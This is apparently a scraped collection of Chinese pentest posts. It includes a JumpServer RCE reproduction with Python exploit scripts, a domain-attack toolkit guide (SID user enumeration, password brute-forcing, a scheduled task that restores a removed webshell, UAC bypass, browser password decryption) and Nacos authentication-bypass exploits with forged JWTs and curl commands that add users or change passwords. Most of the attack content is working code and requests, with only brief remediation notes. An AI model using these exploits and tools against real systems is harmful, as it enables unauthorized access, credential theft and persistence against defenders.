并创建目录,如 /opt/docker 文件系统 容量 已用 可用 已用% 挂载点 udev 7.3G 0 7.3G 0% /dev /dev/nvme0n1p2 468G 200G 245G 45% / /dev/loop1 56M 56M 0 100% /snap/core18/1944 /dev/loop2 65M 65M 0 100% /snap/gtk-common-themes/1513 /dev/loop3 218M 218M 0 100% /snap/gnome-3-34-1804/60 /dev/loop0 56M 56M 0 100% /snap/core18/1932 /dev/loop5 32M 32M 0 100% /snap/snapd/10492 /dev/loop6 65M 65M 0 100% /snap/gtk-common-themes/1514 /dev/loop4 52M 52M 0 100% /snap/snap-store/498 /dev/loop7 52M 52M 0 100% /snap/snap-store/518 /dev/loop8 219M 219M 0 100% /snap/gnome-3-34-1804/66 /dev/loop9 32M 32M 0 100% /snap/snapd/10707 /dev/nvme0n1p1 511M 7.8M 504M 2% /boot/efi Docker存储目录 (默认为/opt/docker): 完成 3. 启动Docker Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n) (默认为y): y 完成 >>> 三、加载镜像 [jumpserver/redis:6-alpine] 6-alpine: Pulling from jumpserver/redis 05e7bc50f07f: Pull complete 14c9d57a1c7f: Pull complete ccd033d7ec06: Pull complete 6ff79b059f99: Pull complete d91237314b77: Pull complete c47d41ba6aa8: Pull complete Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18 Status: Downloaded newer image for jumpserver/redis:6-alpine docker.io/jumpserver/redis:6-alpine [jumpserver/mysql:5] 5: Pulling from jumpserver/mysql 6ec7b7d162b2: Pull complete fedd960d3481: Pull complete 7ab947313861: Pull complete 64f92f19e638: Pull complete 3e80b17bff96: Pull complete 014e976799f9: Pull complete 59ae84fee1b3: Pull complete 7d1da2a18e2e: Pull complete 301a28b700b9: Pull complete 979b389fc71f: Pull complete 403f729b1bad: Pull complete Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd Status: Downloaded newer image for jumpserver/mysql:5 docker.io/jumpserver/mysql:5 [jumpserver/nginx:alpine2] alpine2: Pulling from jumpserver/nginx c87736221ed0: Pull complete 6ff0ab02fe54: Pull complete e5b318df7728: Pull complete b7a5a4fe8726: Pull complete Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112 Status: Downloaded newer image for jumpserver/nginx:alpine2 docker.io/jumpserver/nginx:alpine2 [jumpserver/luna:dev] dev: Pulling from jumpserver/luna 801bfaa63ef2: Pull complete b1242e25d284: Pull complete 7453d3e6b909: Pull complete 07ce7418c4f8: Pull complete e295e0624aa3: Pull complete d373a40639dd: Pull complete 565ad7a883c2: Pull complete Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874 Status: Downloaded newer image for jumpserver/luna:dev docker.io/jumpserver/luna:dev [jumpserver/core:dev] dev: Pulling from jumpserver/core 6ec7b7d162b2: Already exists 80ff6536d04b: Pull complete 2d04da85e485: Pull complete 998aa32a5c8a: Pull complete 7733ef26f344: Pull complete a3fc2d00adff: Pull complete 0fceca9bd0c9: Pull complete 6fd88063e2c9: Pull complete 6b761cc0db94: Pull complete 25d46cb4551e: Pull complete 6da27e4adc2b: Pull complete e521a634bfca: Pull complete 90d95c158108: Pull complete Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c Status: Downloaded newer image for jumpserver/core:dev docker.io/jumpserver/core:dev [jumpserver/koko:dev] dev: Pulling from jumpserver/koko 6d28e14ab8c8: Pulling fs layer 1473f8a0a4e1: Pulling fs layer 683341f9f103: Pull complete 631f019c17de: Pull complete f3a995ef2b4b: Pull complete c091dc645c6f: Pull complete 4e858775bdf0: Pull complete fa772130cab7: Pull complete a0f79afbde1c: Pull complete fdaf81979833: Pull complete 8d4986e114f0: Pull complete eeb197dd15a0: Pull complete 271cd9c942c6: Pull complete fc8bb9405f48: Pull complete 06a07acf5be2: Pull complete Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1 Status: Downloaded newer image for jumpserver/koko:dev docker.io/jumpserver/koko:dev [jumpserver/guacamole:dev] dev: Pulling from jumpserver/guacamole 6c33745f49b4: Pulling fs layer ef072fc32a84: Pulling fs layer c0afb8e68e0b: Pulling fs layer d599c07d28e6: Pulling fs layer e8a829023b97: Waiting 2709df21cc5c: Waiting 3bfb431a8cf5: Waiting bb9822eef866: Waiting 5842bda2007b: Pulling fs layer 453a23f25fcb: Waiting c856ffeae983: Waiting c51581693e31: Pull complete 0809345a90d0: Pull complete 0ba7229a2102: Pull complete bf692785c490: Pull complete 9d6086f6248b: Pull complete 86c187652ab5: Pull complete 07f50f434b4b: Pull complete 9173a0544d33: Pull complete 78884a472184: Pull complete 940cbfe07a44: Pull complete f322e824f1f5: Pull complete 02228eb4be13: Pull complete dfe141bc6b7b: Pull complete Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3 Status: Downloaded newer image for jumpserver/guacamole:dev docker.io/jumpserver/guacamole:dev [jumpserver/lina:dev] dev: Pulling from jumpserver/lina 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists b1e2e4ef9246: Pull complete cf63647ff370: Pull complete Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038 Status: Downloaded newer image for jumpserver/lina:dev docker.io/jumpserver/lina:dev >>> 四、安装完成了 1. 可以使用如下命令启动, 然后访问 ./jmsctl.sh start 2. 其它一些管理命令 ./jmsctl.sh stop ./jmsctl.sh restart ./jmsctl.sh backup ./jmsctl.sh upgrade 更多还有一些命令,你可以 ./jmsctl.sh --help来了解 3. 访问 Web 后台页面 http://192.168.1.7:8080 https://192.168.1.7:8443 4. ssh/sftp 访问 ssh [email protected] -p2222 sftp -P2222 [email protected] 5. 更多信息 我们的文档: https://docs.jumpserver.org/ 我们的官网: https://www.jumpserver.org/ root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1 你确定要升级到 v2.6.1 版本吗? (y/n) (默认为n): y 1. 检查配置变更 完成 2. 检查程序文件变更 已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n) (默认为n): 完成 3. 升级镜像文件 [jumpserver/redis:6-alpine] 6-alpine: Pulling from jumpserver/redis Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18 Status: Image is up to date for jumpserver/redis:6-alpine docker.io/jumpserver/redis:6-alpine [jumpserver/mysql:5] 5: Pulling from jumpserver/mysql Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd Status: Image is up to date for jumpserver/mysql:5 docker.io/jumpserver/mysql:5 [jumpserver/nginx:alpine2] alpine2: Pulling from jumpserver/nginx Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112 Status: Image is up to date for jumpserver/nginx:alpine2 docker.io/jumpserver/nginx:alpine2 [jumpserver/luna:v2.6.1] v2.6.1: Pulling from jumpserver/luna 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists 9aa19406fcc2: Pull complete b88c1894aa70: Pull complete Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4 Status: Downloaded newer image for jumpserver/luna:v2.6.1 docker.io/jumpserver/luna:v2.6.1 [jumpserver/core:v2.6.1] v2.6.1: Pulling from jumpserver/core 852e50cd189d: Pull complete 334ed303e4ad: Pull complete a687a65725ea: Pull complete fe607cb30fbe: Pull complete af3dd7a5d357: Pull complete 5ed087772967: Pull complete de88310b192c: Pull complete 3f3c40cb5584: Pull complete a616053790d8: Pull complete f78e4ffd4b11: Pull complete 681df5236765: Pull complete 6feeeb96a348: Pull complete 8b170624587e: Pull complete Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b Status: Downloaded newer image for jumpserver/core:v2.6.1 docker.io/jumpserver/core:v2.6.1 [jumpserver/koko:v2.6.1] v2.6.1: Pulling from jumpserver/koko 6d28e14ab8c8: Already exists c4b1524d2f75: Pulling fs layer 8522e19e2998: Pull complete 106d5adca780: Pull complete e649208988b3: Pull complete fd02488ce54c: Pull complete 8566396c9588: Pull complete 5c3ae6b36882: Pull complete cb4e3aeda111: Pull complete 3bc46e9d6be9: Pull complete 919620ef3747: Pull complete 3998a9375e49: Pull complete 5869987766aa: Pull complete 9fd39a172e25: Pull complete f60bfb937cc4: Pull complete Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496 Status: Downloaded newer image for jumpserver/koko:v2.6.1 docker.io/jumpserver/koko:v2.6.1 [jumpserver/guacamole:v2.6.1] v2.6.1: Pulling from jumpserver/guacamole c5e155d5a1d1: Pulling fs layer 221d80d00ae9: Pulling fs layer 4250b3117dca: Pulling fs layer d1370422ab93: Pulling fs layer deb6b03222ca: Pulling fs layer 9cdea8d70cc3: Pulling fs layer 968505be14db: Pulling fs layer 04b5c270ac81: Pulling fs layer 301d76fcab1f: Pulling fs layer f4d49608235a: Pulling fs layer f4c6404fd6f8: Pulling fs layer 73ac8e900d64: Pulling fs layer eec0a1010dfa: Pull complete 199219e1bcf7: Pull complete 54d3328751a0: Pull complete 68412973433c: Pull complete b45d84968434: Pull complete 9569df8016cc: Pull complete 642448bde40a: Pull complete e788dd92de90: Pull complete 223eaf2bd9f6: Pull complete b68966fc02ad: Pull complete cf0eb6b2e415: Pull complete 0b78188a975b: Pull complete 704b69b91dcb: Pull complete Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb Status: Downloaded newer image for jumpserver/guacamole:v2.6.1 docker.io/jumpserver/guacamole:v2.6.1 [jumpserver/lina:v2.6.1] v2.6.1: Pulling from jumpserver/lina 801bfaa63ef2: Already exists b1242e25d284: Already exists 7453d3e6b909: Already exists 07ce7418c4f8: Already exists e295e0624aa3: Already exists 2ec572beb6c1: Pull complete c7d22dce32ca: Pull complete Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a Status: Downloaded newer image for jumpserver/lina:v2.6.1 docker.io/jumpserver/lina:v2.6.1 完成 4. 备份数据库 正在备份... mysqldump: [Warning] Using a password on the command line interface can be insecure. 备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 5. 进行数据库变更 表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行) 2021-01-17 22:28:03 Collect static files 2021-01-17 22:28:03 Collect static files done 2021-01-17 22:28:03 Check database structure change ... 2021-01-17 22:28:03 Migrate model change to database ... 472 static files copied to '/opt/jumpserver/data/static'. Operations to perform: Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users Running migrations: No migrations to apply. 完成 6. 升级成功, 可以重启程序了 ./jmsctl.sh restart root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart Stopping jms_core ... done Stopping jms_koko ... done Stopping jms_guacamole ... done Stopping jms_lina ... done Stopping jms_luna ... done Stopping jms_nginx ... done Stopping jms_celery ... done Removing jms_core ... done Removing jms_koko ... done Removing jms_guacamole ... done Removing jms_lina ... done Removing jms_luna ... done Removing jms_nginx ... done Removing jms_celery ... done WARNING: The HOSTNAME variable is not set. Defaulting to a blank string. jms_mysql is up-to-date jms_redis is up-to-date Creating jms_core ... done Creating jms_lina ... done Creating jms_guacamole ... done Creating jms_koko ... done Creating jms_celery ... done Creating jms_luna ... done Creating jms_nginx ... done 2.2 读取日志可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn 下面用代码测试: import asyncio import re import websockets import json url = "/ws/ops/tasks/log/" async def main_logic(t): print("#######start ws") async with websockets.connect(t) as client: await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"})) while True: ret = json.loads(await client.recv()) print(ret["message"], end="") if __name__ == "__main__": host = "http://192.168.1.7:8080" target = host.replace("https://", "wss://").replace("http://", "ws://") + url print("target: %s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(target)) 这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。 搭建的漏洞环境中有如下日志可以读: root@yanq:/opt/jumpserver/core/logs# ls -la 总用量 248 drwxr-xr-x 3 root root 4096 1月 17 23:59 . drwxr-xr-x 4 root root 4096 1月 17 22:17 .. drwxr-xr-x 2 root root 4096 1月 17 23:59 2021-01-17 -rw-r--r-- 1 root root 0 1月 17 22:17 ansible.log -rw-r--r-- 1 root root 2978 1月 18 01:51 beat.log -rw-r--r-- 1 root root 3122 1月 18 01:51 celery_ansible.log -rw-r--r-- 1 root root 978 1月 18 01:51 celery_check_asset_perm_expired.log -rw-r--r-- 1 root root 4332 1月 18 01:51 celery_default.log -rw-r--r-- 1 root root 0 1月 17 23:59 celery_heavy_tasks.log -rw-r--r-- 1 root root 4604 1月 18 01:51 celery_node_tree.log -rw-r--r-- 1 root root 1919 1月 18 01:50 daphne.log -rw-r--r-- 1 root root 1359 1月 17 22:18 drf_exception.log -rw-r--r-- 1 root root 0 1月 17 23:59 flower.log -rw-r--r-- 1 root root 191941 1月 18 01:52 gunicorn.log -rw-r--r-- 1 root root 7470 1月 18 01:51 jumpserver.log -rw-r--r-- 1 root root 0 1月 17 22:17 unexpected_exception.log比如读取gunicorn.log: 除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了) 向ws://192.168.1.73:8080/ws/ops/tasks/log/发送 {"task":"33xxxxx"}2.3 远程命令执行需要在jumpserver中添加一台主机,并且用户登录web terminal。 登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate) 如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。 通过以下脚本进行远程命令执行利用 import asyncio import websockets import requests import json url = "/api/v1/authentication/connection-token/?user-only=None" # 向服务器端发送认证后的消息 async def send_msg(websocket,_text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(f"{recv_text}") # 客户端主逻辑 async def main_logic(cmd): print("#######start ws") async with websockets.connect(target) as websocket: recv_text = await websocket.recv() print(f"{recv_text}") resws=json.loads(recv_text) id = resws['id'] print("get ws id:"+id) print("###############") print("init ws") print("###############") inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket,inittext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print("###############") print("exec cmd: ls") cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"}) print(cmdtext) await send_msg(websocket, cmdtext) for i in range(20): recv_text = await websocket.recv() print(f"{recv_text}") print('#######finish') if __name__ == '__main__': host = "http://192.168.1.7:8080" cmd="whoami" if host[-1]=='/': host=host[:-1] print(host) data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471", "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic(cmd)) 3 修复方案以下根据官方文档: 将JumpServer升级至安全版本;临时修复方案:修改 Nginx 配置文件屏蔽漏洞接口 /api/v1/authentication/connection-token/ /api/v1/users/connection-token/Nginx 配置文件位置 # 社区老版本 /etc/nginx/conf.d/jumpserver.conf # 企业老版本 jumpserver-release/nginx/http_server.conf # 新版本在 jumpserver-release/compose/config_static/http_server.conf修改 Nginx 配置文件实例 # 保证在 /api 之前 和 / 之前 location /api/v1/authentication/connection-token/ { return 403; } location /api/v1/users/connection-token/ { return 403; } # 新增以上这些 location /api/ { proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://core:8080; } ...修改完成后重启 nginx docker方式: docker restart jms_nginx nginx方式: systemctl restart nginx修复验证 $ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh # 使用方法 bash jms_bug_check.sh HOST $ bash jms_bug_check.sh demo.jumpserver.org 漏洞已修复参考https://www.o2oxy.cn/2921.htmlhttps://github.com/Skactor/jumpserver_rcehttps://s.tencent.com/research/bsafe/1228.htmlhttps://mp.weixin.qq.com/s/ATy4mh53W5NJfRBdkAhyyQ 原文连接: https://saucer-man.com/information_security/520.html#cl-2
  11. 0x01. NetLocalGroupGetMembers 功能:查询目标服务器本地管理组的成员 0x02. NetLocalGroupEnum 功能:返回指定服务器上的所有本地组 0x03. NetGroupGetUsers 功能:返回指定服务器指定组的所有成员 查询域里的各个组里的成员,IP必须是域控IP 0x04. NetUserEnum 功能:查询目标服务器所有用户,包括隐藏用户 0x05. wnetaddconnection2a 功能:建立IPC连接,可以将目标共享目录映射到本地磁盘 0x06. WNetCancelConnection2 功能:删除IPC连接 0x07. EnuDomainUser 功能:枚举域用户 1. 介绍 适用于:当前边界机器权限是工作组机器,通过nltest或者nbtscan等工具发现内网有域环境,并且找到域控IP,但是没有域用户的权限下渗透思路。 前提条件:能够和域控建立空连接 实现原理:域管默认都会有administrator用户,通过windows api查出administrator域管的SID,然后遍历SID范围,枚举出域成员(域用户和域机器)。 SID范围:域用户和域机器的SID一般是1000以上,所以使用工具的时候遍历1000以上的SID 2. 工具使用 使用帮助: C:\Users\Administrator\Desktop>EnuDomainUser.exe Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num> EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100 EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目 使用demo: EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100 参数解释: 192.168.52.2 是域控IP hack 是域名 administrator 是域管默认用户 1000 是遍历SID的起始 2000 是遍历SID的末尾-可以设置高一点,例如10000,20000等 100 是多线程的数目 0x08. BlastDomainUserPwd 功能:爆破域用户密码 1. 介绍 通过IPC连接->爆破域用户的密码 结合EnuDomainUser工具或者kerbrute工具获取域用户名列表,然后进行爆破 如果被360杀,改一下exe名字即可 设计思路: 如果能够和域控建立空连接,则用EnuDomainUser工具枚举遍历出所有域用户名 如果不能够和域控建立空连接,则用kerbrute工具爆破域用户名 当获取到一批域用户名后,开始尝试域用户密码的弱口令爆破 域用户密码有强度要求,则尝试爆破强弱口令。例如:P@ssw0rd、1qaz@WSX等 2. 工具的使用 Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num> BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100 BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目 域用户名字典格式规范:域名\域用户名 domain\user 运行实例: BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3 成功爆破出的域用户密码保存在当前目录的success.txt文本里 0x09. SchtaskBackDoorWebshell 功能:计划任务维持webshell 1. 适用场景: 护网中被防守方发现webshell,并清除出去,漏洞也被修复,然后网站恢复后不能再上传webshell时,通过计划任务重写webshell。 2. 条件: 管理员权限,因为创建计划任务得需要管理员权限 3. 使用方法: xxxx.exe c:\wwww\upload\1.jsp 4. 实现过程: 将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里,然后创建了一个计划任务,执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp,每半小时触发一次。 5. 视频展示: 0x10. regeditBypassUAC 功能:过uac执行exe,编译好的exe只适用于win10,win7不行 1. 具体过程 基于白名单程序注册表bypassUAC 2. 视频演示 0x11. delegationVul 功能:检测内网域的约束委派 1. 约束委派利用 约束委派利用 2. 视频演示 3. 基于资源的约束委派利用 基于资源的约束委派利用 4. 视频演示 0x12. 360SafeBrowserDecrypt 功能: 直接在目标机器上运行,但是不免杀 360SafeBrowserDecrypt.exe 将目标的机器id和assis2.db数据库拖回到本地解密 查机器id: reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid" 查360安全浏览器安装目录: reg query "HKCR\360SeSES\DefaultIcon" 默认的assis2.db数据库目录: C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis 本地运行: 360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db 结果显示: 有收藏夹的url和保存密码的url 文章中所用到工具: 链接:https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA 提取码:ryzx 分析文章:动态调试360安全浏览器获取密钥 原文链接: https://github.com/SkewwG/domainTools
  12. Nacos漏洞总结复现 一、Nacos默认key导致权限绕过登陆0x00 漏洞描述Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户0x01 漏洞影响0.1.0 <= Nacos <= 2.2.00x02 漏洞搜索fofa:app="NACOS"0x03 漏洞复现在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中: nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 1.获取token利用该默认key可进行jwt构造,直接进入后台,构造方法: 在https://jwt.io/中:输入默认key: SecretKey012345678901234567890123456789012345678901234567890123456789 然后再payload里面输入: { "sub": "nacos", "exp": 1678899909 } 在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了: 注意: 以下是伪造JWT值绕过权限的测试结果 1、延长时间戳,POST 密码错误,用户名正确 ✅ 2、延长时间戳,POST 密码错误,用户名错误 ✅ 3、删除时间戳,POST 密码错误,用户名错误 ✅ 复制上面得到的值,在burp里面选择登录之后构造: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s 方框里面需要自行添加: POST /nacos/v1/auth/users/login HTTP/1.1 Host: 10.211.55.5:8848 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 33 Origin: http://10.211.55.5:8848 Connection: close Referer: http://10.211.55.5:8848/nacos/index.html Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s username=crowsec&password=crowsec 此时就得到了token信息: HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Security-Policy: script-src 'self' Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s Content-Type: application/json Date: Wed, 15 Mar 2023 14:13:22 GMT Connection: close Content-Length: 197 {"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"} 此时就得到了nacos的token信息。 2.利用获取token登录后台如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看: 先用假账号登录,用burp拦截: 这肯定进不去的,在这里修改返回包,右键看下这个: 然后Forward,这边返回的信息肯定是无效的: 在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去: 再forward一次: 此时就已经进去了: 3.使用默认密钥生成的JWT查看当前用户名和密码 GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0Accept-Encoding: gzip, deflateConnection: closeIf-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTUpgrade-Insecure-Requests: 1accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s 4.利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功 POST /nacos/v1/auth/users HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7sAccept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 39 username=hellonacos&password=hellonacos 二、Nacos默认配置未授权访问漏洞http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 三、 Nacos2.2.0权限绕过Header中添加serverIdentity: security能直接绕过身份验证查看用户列表 如果没有或者不对应则返回403四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)0x01 漏洞描述在 1.4.1 及更早版本的 Nacos 中,当配置为使用身份验证 (Dnacos.core.auth.enabled=true) 时,会使用 AuthFilter servlet 过滤器来强制实施身份验证,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。0x02 环境搭建docker run -d -p 8848:8848 hglight/cve-2021-29441 0x03 漏洞影响Nacos <= 1.4.10x04 漏洞复现1.修改User-Agent的值为Nacos-Server到请求包中,添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server 或者使用命令访问:读取用户密码:curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server' curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’ 添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27 username=hglight&password=hglight 再次查看用户列表,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户 GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server访问http://IP:8848/nacos使用新建用户登录,此时表示漏洞利用成功
